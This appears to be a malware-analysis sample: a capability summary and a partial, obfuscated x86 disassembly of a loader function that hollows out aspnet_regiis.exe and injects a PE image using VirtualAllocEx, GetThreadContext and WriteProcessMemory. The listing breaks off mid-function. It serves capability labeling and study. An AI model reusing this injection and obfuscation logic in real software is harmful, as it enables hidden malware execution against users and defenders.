Function at 0x10002310
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10065a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0x906f146d
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x891d7b3a
je 0x10003b23
jmp 0x1000234c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b8b412e
je 0x10004542
jmp 0x10002362
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c8605b3
je 0x10003ab5
jmp 0x10002378
mov eax, dword [ebp - 0x10c]
sub eax, 0x906f146d
je 0x10002c2b
jmp 0x1000238e
mov eax, dword [ebp - 0x10c]
sub eax, 0x986ac33b
je 0x10004733
jmp 0x100023a4
mov eax, dword [ebp - 0x10c]
sub eax, 0xa156873f
je 0x10003039
jmp 0x100023ba
mov eax, dword [ebp - 0x10c]
sub eax, 0xa3df204a
je 0x1000386b
jmp 0x100023d0
mov eax, dword [ebp - 0x10c]
sub eax, 0xa4e2efb2
je 0x100033ff
jmp 0x100023e6
mov eax, dword [ebp - 0x10c]
sub eax, 0xa7f124c7
je 0x10002e62
jmp 0x100023fc
mov eax, dword [ebp - 0x10c]
sub eax, 0xabfc0acc
je 0x10004682
jmp 0x10002412
mov eax, dword [ebp - 0x10c]
sub eax, 0xac674c66
je 0x10003475
jmp 0x10002428
mov eax, dword [ebp - 0x10c]
sub eax, 0xad7c112c
je 0x10003291
jmp 0x1000243e
mov eax, dword [ebp - 0x10c]
sub eax, 0xae141b92
je 0x100036ba
jmp 0x10002454
mov eax, dword [ebp - 0x10c]
sub eax, 0xaf1f8a9b
je 0x1000422b
jmp 0x1000246a
mov eax, dword [ebp - 0x10c]
sub eax, 0xaff76f43
je 0x100033a8
jmp 0x10002480
mov eax, dword [ebp - 0x10c]
sub eax, 0xb0899bb8
je 0x10004103
jmp 0x10002496
mov eax, dword [ebp - 0x10c]
sub eax, 0xb15b2c3a
je 0x10003ed3
jmp 0x100024ac
mov eax, dword [ebp - 0x10c]
sub eax, 0xb27721a3
je 0x1000457a
jmp 0x100024c2
mov eax, dword [ebp - 0x10c]
sub eax, 0xb6c296c1
je 0x10003def
jmp 0x100024d8
mov eax, dword [ebp - 0x10c]
sub eax, 0xba8561e4
je 0x10003fab
jmp 0x100024ee
mov eax, dword [ebp - 0x10c]
sub eax, 0xbc8fb8a1
je 0x1000390d
jmp 0x10002504
mov eax, dword [ebp - 0x10c]
sub eax, 0xbd98a76f
je 0x1000402c
jmp 0x1000251a
mov eax, dword [ebp - 0x10c]
sub eax, 0xbe961a95
je 0x10002e53
jmp 0x10002530
mov eax, dword [ebp - 0x10c]
sub eax, 0xc3a4aeb0
je 0x10003d2d
jmp 0x10002546
mov eax, dword [ebp - 0x10c]
sub eax, 0xc505238c
je 0x100032ff
jmp 0x1000255c
mov eax, dword [ebp - 0x10c]
sub eax, 0xcd7602d6
je 0x100040d6
jmp 0x10002572
mov eax, dword [ebp - 0x10c]
sub eax, 0xd609da0c
je 0x100045d4
jmp 0x10002588
mov eax, dword [ebp - 0x10c]
sub eax, 0xd79b2046
je 0x10003cb2
jmp 0x1000259e
mov eax, dword [ebp - 0x10c]
sub eax, 0xd92976f6
je 0x10004557
jmp 0x100025b4
mov eax, dword [ebp - 0x10c]
sub eax, 0xdda889c7
je 0x10003759
jmp 0x100025ca
mov eax, dword [ebp - 0x10c]
sub eax, 0xde8d10b0
je 0x10004533
jmp 0x100025e0
mov eax, dword [ebp - 0x10c]
sub eax, 0xdee2c9b3
je 0x100036e0
jmp 0x100025f6
mov eax, dword [ebp - 0x10c]
sub eax, 0xdef87269
je 0x10003a68
jmp 0x1000260c
mov eax, dword [ebp - 0x10c]
sub eax, 0xdf11ae80
je 0x100046e1
jmp 0x10002622
mov eax, dword [ebp - 0x10c]
sub eax, 0xe29da428
je 0x10003188
jmp 0x10002638
mov eax, dword [ebp - 0x10c]
sub eax, 0xe30be035
je 0x10003137
jmp 0x1000264e
mov eax, dword [ebp - 0x10c]
sub eax, 0xe63ce3f1
je 0x10004796
jmp 0x10002664
mov eax, dword [ebp - 0x10c]
sub eax, 0xe95a3368
je 0x10003c35
jmp 0x1000267a
mov eax, dword [ebp - 0x10c]
sub eax, 0xe9e74ffd
je 0x100045a6
jmp 0x10002690
mov eax, dword [ebp - 0x10c]
sub eax, 0xedf047bc
je 0x10002dc5
jmp 0x100026a6
mov eax, dword [ebp - 0x10c]
sub eax, 0xefae7894
je 0x10003b06
jmp 0x100026bc
mov eax, dword [ebp - 0x10c]
sub eax, 0xefda5292
je 0x100039b8
jmp 0x100026d2
mov eax, dword [ebp - 0x10c]
sub eax, 0xf571f96e
je 0x1000414e
jmp 0x100026e8
mov eax, dword [ebp - 0x10c]
sub eax, 0xf65c6c98
je 0x1000398c
jmp 0x100026fe
mov eax, dword [ebp - 0x10c]
sub eax, 0xfd8a04b9
je 0x10003f3d
jmp 0x10002714
mov eax, dword [ebp - 0x10c]
sub eax, 0xfebc148e
je 0x10003a3a
jmp 0x1000272a
mov eax, dword [ebp - 0x10c]
sub eax, 0x3fc2992
je 0x10003a77
jmp 0x10002740
mov eax, dword [ebp - 0x10c]
sub eax, 0x40006b6
je 0x100034eb
jmp 0x10002756
mov eax, dword [ebp - 0x10c]
sub eax, 0x1028530a
je 0x10003699
jmp 0x1000276c
mov eax, dword [ebp - 0x10c]
sub eax, 0x10a52d43
je 0x10004444
jmp 0x10002782
mov eax, dword [ebp - 0x10c]
sub eax, 0x17305339
je 0x100041cb
jmp 0x10002798
mov eax, dword [ebp - 0x10c]
sub eax, 0x1768f949
je 0x10003f1f
jmp 0x100027ae
mov eax, dword [ebp - 0x10c]
sub eax, 0x185e7c17
je 0x10003552
jmp 0x100027c4
mov eax, dword [ebp - 0x10c]
sub eax, 0x1b5ded42
je 0x1000350c
jmp 0x100027da
mov eax, dword [ebp - 0x10c]
sub eax, 0x1b705649
je 0x10003dfe
jmp 0x100027f0
mov eax, dword [ebp - 0x10c]
sub eax, 0x1bdbb1a3
je 0x10003116
jmp 0x10002806
mov eax, dword [ebp - 0x10c]
sub eax, 0x1c64f240
je 0x100043fd
jmp 0x1000281c
mov eax, dword [ebp - 0x10c]
sub eax, 0x1c8d8442
je 0x1000321b
jmp 0x10002832
mov eax, dword [ebp - 0x10c]
sub eax, 0x1d0483b9
je 0x1000415d
jmp 0x10002848
mov eax, dword [ebp - 0x10c]
sub eax, 0x1efd26cd
je 0x1000330e
jmp 0x1000285e
mov eax, dword [ebp - 0x10c]
sub eax, 0x25321fab
je 0x10002ed0
jmp 0x10002874
mov eax, dword [ebp - 0x10c]
sub eax, 0x2731e5b4
je 0x100044d8
jmp 0x1000288a
mov eax, dword [ebp - 0x10c]
sub eax, 0x2844f7f8
je 0x10004521
jmp 0x100028a0
mov eax, dword [ebp - 0x10c]
sub eax, 0x295b0d6d
je 0x10002f54
jmp 0x100028b6
mov eax, dword [ebp - 0x10c]
sub eax, 0x2ab6e819
je 0x10003c44
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xf8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4da00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
movzx eax, word [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x108], 0x55d806e4
jmp 0x100047a0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x100]
add eax, 0x3c
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
mov edx, ecx
sub edx, 0xaea6a1d8
sub edx, 1
add edx, 0xaea6a1d8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xde8d10b0
mov ecx, 0xbe961a95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dword [ebp - 0x108], 0xa7f124c7
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8b8b412e
mov ecx, 0x25321fab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
mov edx, ecx
add edx, 0x803ce4d1
sub edx, 1
sub edx, 0x803ce4d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8b8b412e
mov ecx, 0x295b0d6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dword [ebp - 0x108], 0x5fbd623d
jmp 0x100047a0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd92976f6
mov ecx, 0x658e66dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dl, byte [ebp - 0x95]
mov eax, 0xe30be035
mov ecx, 0x1efd26cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
mov edx, eax
add edx, 0x91ca7381
sub edx, 1
sub edx, 0x91ca7381
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb27721a3
mov ecx, 0xe29da428
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
mov edx, ecx
sub edx, 0x6e0b95e3
sub edx, 1
add edx, 0x6e0b95e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb27721a3
mov ecx, 0x5b7f96b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
mov edx, ecx
sub edx, 0x1c22f6fe
sub edx, 1
add edx, 0x1c22f6fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6ba1c352
mov ecx, 0xad7c112c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6ba1c352
mov ecx, 0xc505238c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dword [ebp - 0x108], 0x1efd26cd
jmp 0x100047a0
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x108], 0x4ea0d100
jmp 0x100047a0
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x108], 0xa4e2efb2
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
mov edx, ecx
add edx, 0x463c4201
sub edx, 1
sub edx, 0x463c4201
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe9e74ffd
mov ecx, 0xac674c66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x90]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe9e74ffd
mov ecx, 0x40006b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dl, byte [ebp - 0x89]
mov eax, 0x1c64f240
mov ecx, 0x1b5ded42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10001db0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x108], 0x185e7c17
jmp 0x100047a0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
mov edx, eax
add edx, 0x7a555405
sub edx, 1
sub edx, 0x7a555405
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd609da0c
mov ecx, 0x6939b7b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dl, byte [ebp - 0x81]
mov eax, 0x5b73a6cd
mov ecx, 0xae141b92
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x108], 0xdee2c9b3
jmp 0x100047a0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x80]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x5b73a6cd
jmp 0x100047a0
mov eax, dword [ebp - 0xf8]
mov esi, dword [eax]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x70]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x100]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
add ecx, 0x65ad1a55
add ecx, 0x18
sub ecx, 0x65ad1a55
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov dword [ebp - 0x108], 0x4050efbc
jmp 0x100047a0
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x424e711b
add ecx, edx
sub ecx, 0x424e711b
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc8]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x108], 0xbc8fb8a1
jmp 0x100047a0
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xc8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x49f25d1c
mov ecx, 0x44b4d225
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [eax + 0x10]
mov esi, dword [ebp - 0x60]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0x64]
mov eax, 0x49f25d1c
mov ecx, 0xefda5292
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x108], 0x508ee13c
jmp 0x100047a0
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
add ecx, 0x94d5ee84
add ecx, 1
sub ecx, 0x94d5ee84
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xdef87269
jmp 0x100047a0
mov dword [ebp - 0x108], 0x4050efbc
jmp 0x100047a0
mov eax, dword [ebp - 0xe0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x108], 0x2b14fd8d
jmp 0x100047a0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x108], 0x2ded34e6
jmp 0x100047a0
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x108], 0x891d7b3a
jmp 0x100047a0
mov edx, dword [ebp - 0x48]
mov eax, 0x42ef5eb5
mov ecx, 0x7573a800
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dword [ebp - 0x108], 0x2ab6e819
jmp 0x100047a0
mov eax, dword [ebp - 0x40]
mov edx, dword [eax + 0x34]
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf11ae80
mov ecx, 0x6c7e7e76
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x986ac33b
mov ecx, 0x39e6db7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dword [ebp - 0x108], 0x1b705649
jmp 0x100047a0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
mov edx, eax
sub edx, 0x6225b6ad
sub edx, 1
add edx, 0x6225b6ad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d3fa08c
mov ecx, 0x7fb23eee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x66a7c007
or eax, edx
or ecx, 0x66a7c007
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x108], 0x1768f949
jmp 0x100047a0
mov edx, dword [ebp - 0x34]
mov eax, 0x1d0483b9
mov ecx, 0xfd8a04b9
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x791f8052
mov ecx, 0xba8561e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub eax, 0xd614f170
add eax, ecx
add eax, 0xd614f170
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x2c], eax
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x791f8052
mov ecx, 0xbd98a76f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov dword [ebp - 0x108], 0x4fbe6501
jmp 0x100047a0
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xb0899bb8
jmp 0x100047a0
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x108], 0xf571f96e
jmp 0x100047a0
mov dword [ebp - 0x108], 0x1d0483b9
jmp 0x100047a0
mov ecx, dword [0x10066d38]
mov eax, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x325167fd
mov ecx, 0x17305339
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
mov edx, eax
add edx, 0xa4ba956
sub edx, 1
sub edx, 0xa4ba956
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x325167fd
mov ecx, 0x5766e0a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
